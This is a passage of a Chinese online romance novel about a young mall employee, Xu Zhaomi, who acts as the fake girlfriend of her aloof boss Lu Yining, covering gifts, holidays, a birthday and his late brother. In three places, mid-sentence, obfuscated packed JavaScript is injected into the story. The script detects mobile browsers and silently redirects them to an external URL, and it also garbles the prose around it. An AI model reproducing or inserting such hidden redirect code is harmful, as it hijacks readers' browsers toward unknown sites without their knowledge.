有时候也替许昭弥这个笨蛋感到开心,一个没出众能力也没有背景的小菜鸟,竟然也能让顶头上司这么为她说好话?甚至把绝大功劳都推给了自己的下属,这在职场可不多见。 许昭弥并没有意识到,她努力的过程已经悄然改变了大姚对她的看法。有时候,好的结果就是这样一点一滴积累起来的。 陆以宁看似漫不经心地点头,顺水推舟地对大姚说:“好,把许昭弥叫进来吧。” 就这样,许昭弥在陆以宁离开一个月后再次见到了他。 她挺直腰板,坐在他办公桌前的椅子上,低头默默地深呼吸。这时陆以宁突然起身,走到窗前,手中的遥控器轻轻一按,窗帘缓缓落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298714|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 ?关窗帘干什么? 许昭弥腾地看向他,忽然变得有一点紧张。再仔细一看他,竟发现他好像消瘦了许多。性''生活累的? “看什么呢?”陆以宁从她身后走过来,伸手弹了她脑门一下。 “哎呦。”许昭弥揉着头,抬起头来瞪着他。两人似乎都没有意识到这其实是一个相当亲密的举动。 “还看?”陆以宁坐回对面,居高临下的上位者气场,许昭弥一下子就萎了。 “没事儿。”疼死了。 陆以宁轻轻哧笑一声,觉得她这表情真够傻的,“不知道我为什么喊你进来?” 许昭弥摇头。 “做的很好。” “……谢谢。” 陆以宁破天荒地表扬了她。而许昭弥呢,也是人生头一回这般正式地收到他的赞扬。可是他们彼此的脸上都没有呈现出对方所期望的回应。 许昭弥甚至显得有些冷淡,连陆以宁以为会出现的脸红都没有。 她只是轻飘飘说了句“谢谢”,对,就是这么的云淡风轻,甚至有点倔强地“不稀罕”他的表扬。 我当然知道自己做得很棒,不用你说我也知道,谢谢。 我们整个部门为了这次活动加班加点,大家都非常棒。可你呢?却在关键日子跑到国外游山玩水。这样可不好哦。我不需要你的表扬,谢谢。 在心里叽里咕噜念了这么两句,许昭弥挺直腰板说:“那陆总您还有事吗?没有我就我走了?” “等下。”陆以宁轻轻一咳,心底暗骂一句脏话。 今天真是邪门了,许昭弥这个平时动不动就脸红的菜鸟竟然一脸淡定,反倒平时万年冷脸的冰山霸总突然有了一点脸红。 许昭弥好奇地看过去,就见他从桌子下面拿出一个绿色的手提袋递给她,眼神甚至有点躲闪。 “送你的。” “送我的?” “嗯。” “哦……好。” 话这么说,可两个人谁都没有动,那个绿色的小袋子就那么立在桌子上,好像一个爹不疼妈不要的孩子。 “不打算接受吗?” 许昭弥不用打开,光看袋子就知道它是劳力士。做商管这行怎么能对奢侈品没了解?可她不敢看,这么昂贵的礼物,她怎么敢收呢? 他为什么要送她昂贵礼物?安旎知道吗? “收下吧,是陆老师让我买的。”陆以宁解释一句。 许昭弥哦了一声,于是就明白了。 “那还是算了,本来也不是真的女朋友,收您这么贵重的礼物不合适。而且这是在办公室,拿出去也会被同事看到的,这样不太好。” “你可以说是我带给李总的礼物,拿着吧。”陆以宁翻开一份文件,看来是不想再拉扯。 许昭弥尽管并不想要,尤其是在听完他的解释之后,这让她心里有点不是滋味。但她也明白,感情上的纠结只会在双方有情感联系时出现。既然是基于金钱的交易,从一开始就该轻松愉快地对待。 于是她笑了笑,拿过东西说道:“那就谢谢您了。” 笑得太假,陆以宁皱眉。 “这周末晚上有时间吗?年前和陆老师一起吃个饭?” “不好意思,没有哦!”许昭弥毫不犹豫拒绝了他。这次说的可不是假话。她周末确实没有时间,她要和琳琳大飞一起逛街吃火锅,提前庆祝新年,同时也是为了犒劳自己这一年来的辛苦付出,已经安排的满满的了。 “周六日两天都有事?” 许昭弥点了点头,“是的,我要和朋友一起聚会。”其实他们只有一天的狂欢计划,而另外一天她打算留给自己。她想独自一人在这座奋斗了两年的城市里逛一逛,去街角的咖啡馆坐坐,就那么静静地享受一个人的时光。 几天前她突然明白了一个道理:每个人都需要有自己的生活,她不必每次在他提出要求时都必须答应,她们是基于平等交易的双方,她也有权利说不。 许昭弥一向细心体贴,做事也周到,“阿姨我已经去看过了,在您回来之前,她最近很好的,只是很想您。”完全让陆以宁挑不出一点毛病。 陆以宁的那口气就那么不上不下卡在胸口,堵得他难受。等许昭弥出去后,他伸手拽了拽领带,忍不住在心里骂了句脏话。 操。这女人今天怎么了? 许昭弥从他办公室出来,没多久又收到他的微信。也是怪怪的。 “是那个叫大飞的朋友?” “嗯。” “祝你玩的愉快。” “我会的。” 许昭弥当然会玩的愉快!那是在一处露天的顶楼天台上,只需人均消费199元,便能尽情享受火锅啤酒烧烤还有乐队带来的精彩表演。 许昭弥特别开心,穿着一件柔软的羊绒毛衣,米白色高领衬托皮肤愈加白皙。 她那晚喝了不少酒,脸蛋都红了,手里拎着个酒瓶,趴在栏杆处,望着楼下川流不息的车水马龙,洋溢着新年气息的繁华招牌,夜风轻轻托起她那头乌黑的秀发,让她感到一种久违的轻松与自在。 然后她抬起头来,望向夜空中闪烁的星星。 那天的夜空可真漂亮。这些年在城市的喧嚣中忙忙碌碌,许昭弥几乎从没像那个夜晚那样,静静地抬起头来,认真地观赏过夜空。 她也可以看星星的。 “琳琳、大飞,你们看,好多星星,眨呀眨呀,真漂亮呀。” “这有什么,咱们老家的星星比这城市里的漂亮多了好么!”大飞骄傲道。 “是啊,这么一说我都想家了,恨不得现在就买张车票飞回去。”琳琳把头靠在许昭弥肩膀。 许昭弥搂着她腰,望天呢喃:“星星再眨一千次眼,我们应该就到家了吧。” 再然后,她们微笑着,共同向天空举杯。 “来,咱们干一个,庆祝这一年终于顺顺利利地结束啦。” “同样也为来年,为梦想,为家人,为友情,为了更好的自己!” 许昭弥深呼气鼓起勇气,捧着酒杯在心里默念—— 也为那段永远不会开花结果的暗恋。 为了告别青涩年华里的美好与遗憾。 “干杯喽!” 2017年你好,2016年,再见。 19.便利贴与荒原狼19 - 年三十陆以宁带着陆曼青去了美国,许昭弥提着行李坐上了回浙江的火车。 大年初一那天,工作群里的马屁精们排队刷屏给领导拜大年。各位领导们给大家发红包,尤以陆以宁最大方,人均二百的大包发了七八个,许昭弥昨夜熬夜守岁,到了十点才起床,打开手机人傻了,一地红□□,连个毛都没抢到! 私信陆以宁,丢了个炸弹过去,“领导您是不是红包数发错了?怎么没有我的呢?” 发完就完。许昭弥起床洗漱化妆换新衣服,和爸爸妈妈一起开开心心出门走亲戚拜大年。 刚坐在许大勇的副驾驶,短信银行的提示音就叮一声响了起来。 【招商银行】尊敬的客户,您尾号[6688]的账户于2017年1月28日收到一笔转账,金额88888元,转账方[6214 8301 2345 6789 ],当前账户余额[128568]元,如有疑问请致电工商银行客服95588 “?” “特殊年终奖” 许昭弥咬咬牙收了:“新年到,福气绕,祝老板在新的一年里生意兴隆通四海,财源广进达三江,大发特发,日进斗金哦!” 直到晚上的时候陆以宁才回了两个字:“傻子。” …… 来年有三件大事。 大飞的一首歌突然爆火了,火什么程度呢?满大街的理发店呀苍蝇馆呀2元店超市呀,都是他的那首“动哧大哧喔喔喔哦”,连许昭弥没事儿都会哼哧两句。 米姐升任营运部主管,这是她在经理岗熬的第六个年头,大家都为她感到高兴。包括许昭弥。 于晓沁首店开业,意义重大,开业这天媒体记者云集,大牌明星剪彩,商场里人头攒动、人山人海。安旎登台表演,女团舞跳得非常漂亮。 带动当天整体销售额也直线拉升。 许昭弥知道曲琳琳喜欢安旎,趁机还找她要了个签名。 也是在于晓沁首店开业的这一天,已经将近半个月没有露面的陆以宁才从美国姗姗归来。 最后环节是嘉宾媒体大合影,陆以宁和于晓沁站在C位,安旎作为代言人本应该站在于晓沁身边,可她却站在了陆以宁身侧,笑眯眯比了个耶。 舞台上俊男美女十分养眼,台下记者们的相机也闪个不停。 贝诗楠啧啧看着台上,摸着下巴问许昭弥:“宝宝,你觉得男神和谁更配呢?” 许昭弥扛着摄像机录像,还真认真思考了一下。单看外表呢,好像于晓沁是更般配一点,但其实她更喜欢安旎,总觉得安旎活泼可爱的,给人一种很阳光的感觉。而且刚刚许昭弥去要签名的时候,安旎竟然还记得她呢!一口气给她签了七八张签名照,还说不够再来,就跟批发大白菜一样,把许昭弥都逗笑了。 这么一想好像于晓沁和安旎都挺好的,都是事业成功又美丽大方的女孩子。许昭弥忽然就觉得陆以宁这个男人挺可恶,在外头打着单身旗号,私下里却两头吊。安旎知道他和于晓沁在酒吧里暧昧不清吗?于晓沁知道他和安旎在丛林里徒步看星星吗? 这样想着就觉得他很渣。上了车也不与他讲话。 今天同样是陆曼青回国后的第一天,许昭弥说好要去看她。 陆以宁扶着方向盘,看她一路都在副驾低头鼓捣那几张破照片,终于忍不住开口,“破签名有什么意义吗?” “有呀,开心呀。”许昭弥头也不抬地回他,回完也不理他,继续鼓捣那几张“破照片”,有点气人。 她把签名照摊在膝头,认真拍了几张照片,po到小红书和微博,心情美美哒。 “弱智。”陆以宁心里这么评价。不仅要签名照这个行为弱智,要安旎这个人的签名照更弱智。 “对了。”许昭弥把照片仔细收好之后,突然抬起头看向陆以宁,表情十分认真,“我能问您一个问题吗?” “我没别的意思哈,只是觉得咱们两人之间的合作前提是彼此单身。但是您呢,和安旎小姐好像却一直绯闻不断呢,所以想问问你们到底有没有在一起呀?” “我真的没有别的意思哈!真的只是觉得彼此要坦诚相待而已。您之前可是着重强调过我不能谈恋爱的哦,所以我想您也不是一个双标的人吧?实际上我的意思就是,要是您已经有了另一半,却还这么瞒着阿姨,那确实有点不太好哦。当然了,我这边倒是没什么所谓的,只要能赚到钱,我就觉得挺好的,没什么问题啦。” 这些话在她心里其实已经憋了好久了,许昭弥觉得既然是合作关系,那彼此就应该坦诚一些,这件事她有必要弄清楚。只是以前一直没敢开口去问,过了一个年回来觉得自己牛了,有什么不敢的?她就问。 陆以宁瞥她一眼,许昭弥说没别的意思,那就真没一点别的意思。表情呢?丝毫不见吃醋的影子,甚至还带着一点八卦的兴味。一想到她刚刚对安旎那种脑残粉似的喜欢,心里更是没来由冒出一股火气。 “没在一起,我妈不同意。否则为什么找你假扮?” 许昭弥脸上露出恍然大悟的神情,“我懂了。”原来是被迫不能在一起啊,真可怜。 陆以宁实在懒得理她,却在心里默念一句:“你懂个屁。” 还有,“说话时收起你的那些‘哈呢哦噻哟’,像个弱智。” 许昭弥:“?” 陆曼青已经在客厅等许昭弥很久了。 又是新的一年。两人隔了小半个月没见,彼此都很想念。 许昭弥和她热情拥抱,“阿姨,您身体还好吗?配型顺利吗?” “好,都好,阿宁顺便带我在夏威夷养养身子。” 陆曼青给她看自己在夏威夷拍的照片。 她穿着淡雅长裙,戴精致宽檐帽,肩披鲜艳围肩,身姿优雅地站在私人沙滩上,身后是一片波光粼粼的碧蓝大海,每一张照片中的她都是笑意盈盈的。 人好看,风景也美。许昭弥看着都觉得心旷神怡。 难得还有几张陆以宁出镜。他穿着风格夸张的大花裤衩,光着精瘦的上半身,躺在遮阳伞下的沙滩椅上,墨镜顶在脑门,要死不活地对着镜头比了个耶。 一副被迫营业的样子,许昭弥有点想笑是怎么回事。 “臭小子每天就知道气我。”陆曼青这样说,却还是笑眯眯地端详相片里的“臭小子”,好似怎么也看不够一样。 陆以宁不愿与女人聊天,回到房间换了身衣服。下楼时见她们还在笑闹,戚了一声,觉得无聊。 陆曼青正在给许昭弥翻看陆以宁小时候的相片,其中大部分都是他五岁之前留下的影像。 各种摔跤打滚、爬树屋、捅蜂巢,在新西兰奶牛牧场里挤牛奶,打扮得像只小奶牛的样子,奶凶奶凶地对着镜头嘟小嘴。 实在太可爱了,和现在完全不是一个样。 “好好笑。”这些相片让许昭弥的心里有一点暖,忍不住去看向陆以宁。他呢?这会儿正独自坐在沙发上,低头摆弄着手机,胳膊往后一搭,冷着个脸,就算是在自己家里,也带着一种生人勿近的气场。 许昭弥真的有点费解,小时候那么活力俏皮的小宝宝,怎么长大之后就变成了这个样子呢? 陆曼青又翻出一张双人合影。画面里,陆以宁站在一个比他高出一大截的小少年身旁,小手牢牢牵着对方,两人一同微笑面对镜头。那小少年五官极为深邃,像个外国人模样,给人一种沉稳而又英气十足的感觉。站在他旁边的陆以宁,明显乖巧了不少。 “这是谁?长得可真漂亮。” 陆曼青微微一怔,望着相片里的小少年,眼眶却有一点红了。 “这是阿宁的哥哥。” “哥哥?是亲的吗?”许昭弥有点惊讶,她之前完全没听陆以宁提起过他还有个哥哥,而且在家里也丝毫看不到有哥哥存在过的痕迹。 “嗯,是亲哥哥,他是我的第一个孩子。”陆曼青轻声给许昭弥解释,“他去世了,到今年,已经是他离开我们的第七个年头。” “阿宁从小就和哥哥关系最为要好。在我和他父亲离婚后,便把他俩都留在了爷爷奶奶家。阿宁从小就是跟在哥哥身边长大的。” 蒋奇睿去世对陆以宁打击很大,到什么程度呢?他把自己伪装成哥哥的样子,放弃所有属于自己的爱好,疏离了曾经的朋友圈。甚至退学,转到哥哥曾经念书的学校去深造。 他拼命努力,去获哥哥曾经获过的奖项,照顾他爱过的人,进入原本并不喜欢的集团工作,扛下继承人的重担,努力得到爷爷的认可,好像这样蒋奇睿就还在活着。而他就没有对不起任何人。医生都说孙婉筠病的严重,可在陆曼青看来,陆以宁才是病的最重的那个。 蒋家那群人,只把陆以宁当作替代蒋奇睿的工具来培养。只有陆曼青才是真正心疼自己的儿子。 许昭弥见她不知不觉间泪流了满脸,赶忙递上纸巾。她一时不知该说些什么,心里有震惊,也有些心疼,但也明白此刻再多的话都显得苍白,便只是轻轻握住她的手,就这么无声地安慰着。 “好了,不说这些了。”今天是开心的日子,她不要难过。陆曼青笑着摸摸许昭弥的头,看着面前这个温柔体贴的好孩子,突然就想起点什么。 那是偶然的一次,陆以宁不在家,她在收拾他卧室的时候不小心翻到了陆以宁枕头下的旧本子,结果就瞧见里面夹着的一张女孩子的照片。 天知道那一刻陆曼青心里是多么开心。我儿竟然有个暗恋这么多年的姑娘,这些年来他都在放弃自我,却依旧把这姑娘的照片带在身边,这是件多么不容易的事。所以后来她才主动接近的许昭弥,又用了那么一点点“套路”和她相识,结果证明她儿的眼光果真没有错。 陆曼青想起给许昭弥带了礼物,便叫何阿姨拿了出来。“看看喜欢吗?”是一条古董手链,以珐琅釉料为主,点缀着五颜六色的串珠。水贝温润、琉璃澄澈、水晶璀璨、珍珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15304339|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饱满、绿松石清新迷人,是很漂亮的中古风。 许昭弥很喜欢,“谢谢阿姨,我也给您带了礼物哦!”又从包包里把她的礼物拿出来,是一支湖笔。湖笔是她老家特产,和徽墨、宣纸、端砚并称为“文房四宝”。 许昭弥平日和陆曼青相处,觉得她是个很有才气的女性,也常追慕风雅,许昭弥经常看到她在朋友圈晒写毛笔字的日常。所以挑礼物时就想到湖笔,觉得送它再合适不过了。陆曼青果然非常喜欢。 陆以宁走过来,拿过那只湖笔看了看,材质不错,起码小千元,许昭弥这个穷鬼还真是下了血本呢。她甚至还给何阿姨带了礼物,是一条丝绸围巾。 “没有我的?”陆以宁有点不高兴地瞥她一眼。 许昭弥抱歉地笑笑:“不好意思,没有哈。” 陆以宁便把毛笔随手一丢,砸她怀里,“恶”狠狠地威胁她,“那就等我今年给你穿小鞋吧!” 许昭弥还真被他吓到,战战兢兢坐在沙发上,也有点生气。亏的她刚刚还为他的经历心疼呢。 陆以宁也不理她,两个人就有点闹别扭的氛围。陆曼青见状,打了个呵欠说困了,把手搭在何阿姨身上说道:“看来是时差还没倒好呢,来,扶我去楼上睡会儿。”又对陆以宁和许昭弥说,“你们两个没事也出去转转,一会回来吃晚饭。” 于是两个人到花园散步。 这个季节的花园是有些萧瑟的,花花草草们大多进入了休眠期,但也偶有些耐寒的品种还在坚守。 许昭弥慢慢走着,欣赏着枝头金黄、嫣红的腊梅,空气中暗香浮动。她在前溜达,陆以宁敞怀揣手于大衣口袋,不紧不慢跟在后面,目光却总不自觉落在她身上。夕阳西下,余晖金灿灿洒在花园,笼在她发梢,似将寒冬都温柔。 两个人就还是不与对方讲话,氛围却又有了一点不同。透着一丝难以言喻的暧昧。 “手链呢?” 许昭弥闻声回头,昂着小脸看了他一眼,拍了下口袋。 “不戴上?” 许昭弥想了想,也行,戴上阿姨肯定会开心一些。于是从口袋里掏出那个小巧的木盒,轻轻打开,小心翼翼将手链从中取了出来。 一个人戴就有些费劲,这边刚刚勾好,那边就滑了下去。陆以宁觉得她真是个笨蛋,而他又见不得笨蛋,便主动向前一步,把手伸了过去,突然握住她手腕。 许昭弥愣在原地,她能清晰感觉到肌肤相触的温热,心跳不由加快。垂眸,见他骨节分明的食指利落干脆勾住手链一端,拇指卡开按钮,后轻轻一绕,就将手链稳稳戴在她白皙瘦弱的手腕上。 尺寸意外合适。 “真丑。” “哪丑?多好看!”许昭弥忙将胳膊缩了回来,自顾自端详着,很是满意。 陆以宁盯着她问,“喜欢?” “喜欢呀,阿姨送的当然喜欢。” “那送你的手表怎么不戴?” “这是阿姨亲自送的呀,不一样的。”而那个手表是你买的,我不想戴。许昭弥就差把心里话说出来。 陆以宁却突然笑了起来。 哈哈两声,像看傻子一样看着她,双手抱胸,笑得挺欠揍。 许昭弥突然意识到什么,皱眉看他,又低头看看手链。 “这不会是你送的吧?” 陆以宁说:“我付的钱,算吗?” 是新年那天,在檀香山的Fort Street Mall,陆以宁正陪着陆曼青逛街,路过一家中古奢侈品独立商店时,目光径直落在了橱窗里摆放的一条手链上。 陆曼青凑过来问他在看什么,目光随之落下,是个笑眯眯的模样,“不要给妈妈买,妈妈不喜欢这种风格的首饰哦,这款式更适合年轻人呐~”她边说边指了指橱窗亚克力牌子上的那些小字,“而且上面可是写着‘Not for Sale’。” “谁要给你买了?人家照顾你这么久,你难道不打算送份新年礼物表表心意?”陆以宁推门进去。 “人家是谁呢?”陆曼青笑死了,没想到自己这倔儿子终于开窍,也算这一年来的戏没白演。实际她最聪明了,陆以宁和许昭弥以为他们是在骗她,其实从始至终都是陆曼青在揣着明白装糊涂。 陆以宁在买下那条手链的时候还特地让店家换了个普通盒子来装。 许昭弥以为手链上的那些红宝石呀蓝宝石呀祖母绿呀都是些假的玻璃珠子。她并不知道那上面的每一颗宝石串珠都有着特殊的历史传承,自然也不清楚它们到底有多昂贵。 因为是非卖品,店家坚决不肯出让,最后陆以宁是拿了自己的手表置换。这条手链确实没有价格,但他那块限量版的百达斐丽价格也不低。 要说心疼么,是有那么一点,可当看到许昭弥气呼呼把手链摘下,本想扔给他,但爱不释手的动作却出卖了自己,转眼就像个傻子一样把手链小心翼翼收进口袋里的时候。有这么一个瞬间,又觉得好像都值了。 20.便利贴与荒原狼20 那天的晚饭挺逗的。 一开始,许昭弥刚坐下,耳廓还红着,和陆以宁隔着一人的距离,两个人都在闷头扒饭。 陆曼青瞧出他们之间有一丢丢的不对劲儿,这可不像演的,真情侣都没这么别扭。心里不禁乐开花。 “来来,弥弥,多吃点鱼呀,鱼最有营养了。”陆曼青指挥着陆以宁,“鱼放在你那边呢,弥弥够不着,你快给她夹一些呀。” 陆以宁不情不愿地端起盘子,“听到没?让你多吃点鱼,吃鱼长脑子,省得老是这么笨。” 许昭弥也端起自己面前的那盘凉拌苦瓜,往陆以宁碗里倒去,“您也多吃点苦瓜吧!苦瓜败火呢,省得一天到晚火气那么大,说话难听惹人讨厌。”反正现在下班了,下班她就不是他员工,许昭弥可不怕他。 陆以宁一下子被噎得说不出话来,脸色铁青。陆曼青也是头一次见到自己儿子在言辞上吃瘪,没等反应过来,就已经笑出了声。 陆以宁眼神刀过去。 “好好好。”陆曼青崩住笑,摊了摊手,转移话题问许昭弥,“弥弥最近工作怎么样?开年忙吗?” 陆以宁却抢先开口,“去年刚竞岗失败,一无是处,最不忙的就是她!哦不,中午订饭和下午取咖啡时除外。”他才不是那种会吃亏的人呢,尤其哑巴亏,想都别想! 许昭弥这次居然没有生气,她略微思索了一下,随后放下筷子,认真回答了这个问题。 “没关系的,竞岗失败只能说明我自身能力还不够,不过我会继续努力的,我对此很有信心。而且今年我已经有了详细的工作计划, 我已经申请了全年三项活动预算,并且申请作为主要执行人。目前其中一项美食节的活动已经确定下来了,另外两项暂时还处于待定状态。这次美食节活动面向五湖四海的美食,我希望通过这次活动来提高商户的承租能力以及盈利能力,对我个人而言,也能提高我个人业绩的贡献率。” “以前我从没有独立负责过一场完整的活动,这次算是第一次尝试,美食节规模不大,只需和推广部配合好就可以,您会批准我的申请吗?”许昭弥最后把目光投向陆以宁。 其实在她说完这些的时候,陆以宁心里是有点欣慰的。她对今后的工作有了清晰计划,还有明确目标,看来这一年没白过,还是有所成长的。刚刚自己还担心她会因为竞岗失败而消沉,想着借机安慰她一下,现在看来也没必要。 “美食节平时也不是没办过,效果很一般,投资回报率不高,你所策划的优势是什么?和其他人有什么不同?”他一向公事公办。 许昭弥的眼睛立刻亮了起来,提到这个她就有话说了,“我很有优势哦,我有个朋友是歌手,今年有首歌特别火,现在正是热度最高的时候。我想如果在美食节的时候请他来商演,一定能吸引不少顾客。您也不用担心预算,我和他关系很好,他说只要经纪公司同意,他愿意免费帮我唱一场。” “你朋友?” “嗯嗯,就是那个叫大飞的男生,他是个歌手。” “歌手?”陆以宁心里暗自冷笑,瞧她那激动自豪的样子,还以为是什么天王巨星呢。 “一个唱土摇的,不符合商场定位,不批。” 不批?这怎么行?许昭弥完全没想到陆以宁会不批,她连方案都写好了,有些着急地说:“大飞不是唱土摇的呀,他是流行歌手。我们商场之前还请过说唱歌手呢,大飞怎么就不符合呢?而且是免费的,不需要花钱哦。” “我是没钱吗?”大飞长大飞短的,陆以宁真的生了气。嘴角微沉,语气凶狠:“我说不用就不用,再废话连你一起砍掉。” 许昭弥被吓到,心里一阵失落。陆以宁呢?继续拿起筷子慢悠悠吃饭,没事儿人一样,还把那几片苦瓜一片片挑了出来,丢在一旁。太气人了。 “哎呦!”陆以宁正吃着饭,突然嚎叫了一声。是陆曼青抄起勺子敲了他的头。 “妈!你疯了!打我脑袋干什么!” “就打你,我看你欠打!当着我面还敢欺负弥弥!我打死你!” “靠!”陆以宁头上顶着一脑门蛋花,整个人都炸了,“还用勺子?都是油!”好不容易挣脱开陆曼青,紧接着就一脸崩溃地冲进卫生间。 许昭弥在餐桌旁笑出了声。 …… 许昭弥为了筹备美食节活动,又过上了加班加点的日子。 场地布局得好好规划呀,她划分出不同区域,用来展示各地美食,用餐区、表演区、互动体验区等也都一一规划妥当。 她给店长们开了会,通过餐饮协会的推荐,联系到各地有名的大厨,还有那些烹饪技艺颇具特色的厨师,邀请他们带团队来展示厨艺、制作特色美食。 宣传上,除了常规途径,这次她还找了好多美食博主帮忙。说起来她挺感激伍叔的,让她也在小红书上成了个小网红,因此认识了些互关的美食博主,大家也都很乐意帮忙。 就这么忙碌着,连自己生日到了都给忘了。 还是大飞和琳琳在群里提醒她,许昭弥这才想起来。 十七八岁很美好,三十岁也不错。二十五岁看起来有点不上不下,却也是个充满期待的年纪。 村上春树有一句话,是这样说,“虽然我只是宇宙中散落的一颗不起眼的星星,但也有幸被爱自己的人拥护着。” 所以呢,在二十五岁这样一个对未来充满期待的美好的一天里,许昭弥做了一个决定,她要请这两位从小到大始终陪伴在自己身旁,给予她无尽爱意,一直拥护着她的好朋友好好地大吃一顿! 就吃她们商场里最贵的那家“沪尚居”! 许昭弥今天下班很准时,她本想着提前预订一个包厢,结果到餐厅的时候才发现自己忘了提前预约这件事。没办法最后只能定在大厅的一张桌子上。但好在餐厅给了员工折扣价,许昭弥就很开心。 大飞率先到了。如今他的名气越来越大,每次出门都把自己打扮得像个特务,墨镜、帽子、口罩全副武装。幸好这店属于高端消费场所,这会儿店内客人也不多,并且还设有帘子用以分隔空间。 大飞到了之后,摘下墨镜,赶忙将自己带来的礼物呈上,是崭新的苹果手机。许昭弥笑眯眯地接过礼物谢恩,“飞总大气!”他们几个发小之间向来都是如此,相处起来从不搞那些虚的。 “琳琳呢?” “她临时有事儿,来不了了,让我给你捎这个,还再三嘱咐务必要我给你唱首歌呢,哈哈。”说着就把曲琳琳亲手制作的小蛋糕拎了上来。 这蛋糕的款式也很简单,上头就用红色奶油点缀着一朵小花。大飞象征性地插上一根蜡烛后,双手郑重捧着,递到许昭弥跟前,随后便一本正经地唱了起来:“送你一朵小红花,开在你昨天新长的枝桠……” 许昭弥有点感动,捧着微微发烫的脸颊靠近烛火,闭上眼睫将蜡烛吹灭。 小红帽? 骆弋舟难得来店里溜达一圈,就看到这么劲爆一幕。赶快拿出手机偷拍一张,奸诈一笑,给陆以宁发了过去。 那角度还有那么一丢丢暧昧。 许昭弥一下班就走了,陆以宁本来还有一点生气。因为昨天讲好今天下班同他一起回家吃饭的,却在临下班前被她放了鸽子,甚至一个理由都没有,就那么轻飘飘发来一条微信,说她临时有事,不能陪他去看阿姨,改天再说。 “有什么事?” 许昭弥竟然也没回复。 他觉得自打今年起这女人就变了,变得不听话,变得有主意,变得越来越不把他当回事儿。 还还是他第一次被人放鸽子。 就这么气吼吼地盯着那女人的空工位,骆弋舟的微信就是这时候进来的。 奇怪的是,他并没有更生气,反而方才郁结在心里的那股闷火也随之消散了。 真奇怪。 他只是突然觉得没必要。有什么必要呢?自己后半辈子本该就是用来还债的,他从没打算结婚谈恋爱。是为了宽慰陆曼青才找的假女友,怎么自己还认真了? 反思前段时间的所作所为,这实在是太可笑了。 许昭弥是在大餐吃到一半的时候,收到一大束粉色百合。是服务员亲自送进来的,还对她说了声“生日快乐。” 许昭弥惊喜看向大飞,大飞摇摇头,表示自己什么都不知道。许昭弥随后又问服务员是谁送的?服务员呢,依照送花人预先交代好的答复,面带微笑地对许昭弥说道:“这是我们餐厅特意为过生日的客人准备的一份小小心意哦。” “谢谢谢谢!”许昭弥太开心了,一连说了好几个谢谢。 陆以宁放下手机,忽然就觉得特别没意思。陈萨敲门进来和他谈今年的招商计划,是提前和他预约好的时间。 “改天吧。”他却抓上车钥匙就这么走了。 他心情很不好,又不肯承认,因为嘴上说着没必要,就用这个框框把自己框在了里面,像囚徒,像困兽,明明心里有股无形的燥火,却无处发泄。 许昭弥是在十点多一点的时候回来的,她并没让大飞送她。自己坐地铁,抱着鲜花,戴着耳机,哼着快乐的歌,蹦蹦跳跳钻进了楼门里,心情肉眼可见地愉悦。 陆以宁在黑暗里抽完最后一根烟,后将车窗合上,扬长而去。 转天他就出差了。 就在许昭弥过完生日的第二天,他甚至连招呼也没打,也没来商场,就直接提着行李上了飞机。 他先是去新加坡考察了个项目,待了两三天,然后又飞回了香港总部。 这次是他爸把他喊回来的,陆以宁出了机场,就直奔总部,来到蒋志远的办公室。 “你妈身体怎么样?”蒋志远戴着眼镜,坐在会客区的沙发上翻报纸,随口问道。 “挺好的。”他不愿与他多说陆曼青的情况,在他看来,离婚的两个人早就是不相关的个体,没必要再去了解对方的情况。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15309236|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “还没手术吗?” “想再等等,等指标稳定稳定再说。” “嗯,毕竟不是小手术,是该谨慎。我和大陆那边的红十字会也有些交情,你若搞不定就和我说话。” 红十字会负责器官捐献。陆以宁轻轻皱了下眉,陆曼青不想走非法渠道,他尊重妈妈的想法,却还是嗯了一声。 就那么站在茶几对面,规规矩矩回答着蒋志远的问题,身姿笔直,神情严肃,完全没了在陆曼青身边时那种慵懒放松的劲儿。 其实陆曼青和蒋志远是和平分手的。恋爱时都挺好,只是婚后陆曼青适应不了豪门规矩,以及不满蒋家教育孩子的方式理念,两人便分开了。分开后蒋志远顶着压力也没再娶,就这点而言,陆以宁对他还是认可并尊重的。 这次叫他回来,其实是蒋鸿渐的意思,不过是借蒋志远的口传达他的话罢了。 “你年纪也不小,是时候考虑一下婚事。连华明年要同吴家合作开展政府项目,你爷爷前些日子安排你和吴董女儿相亲,这件事你考虑了吗?” 透过那副架在鼻梁上的眼镜,目光淡淡朝他投了过来,眼神里却透着一丝不易察觉的审视。 “你哥哥在读书那会儿就很主动听从家里安排,就这方面来讲,可比你强多了。”又缓慢翻了页报纸。 陆以宁直接就说行,一点犹豫没有。其实根本用不着拿蒋奇睿来敲打他,难道这些年他所做的一切还不足以表明他的决心吗? 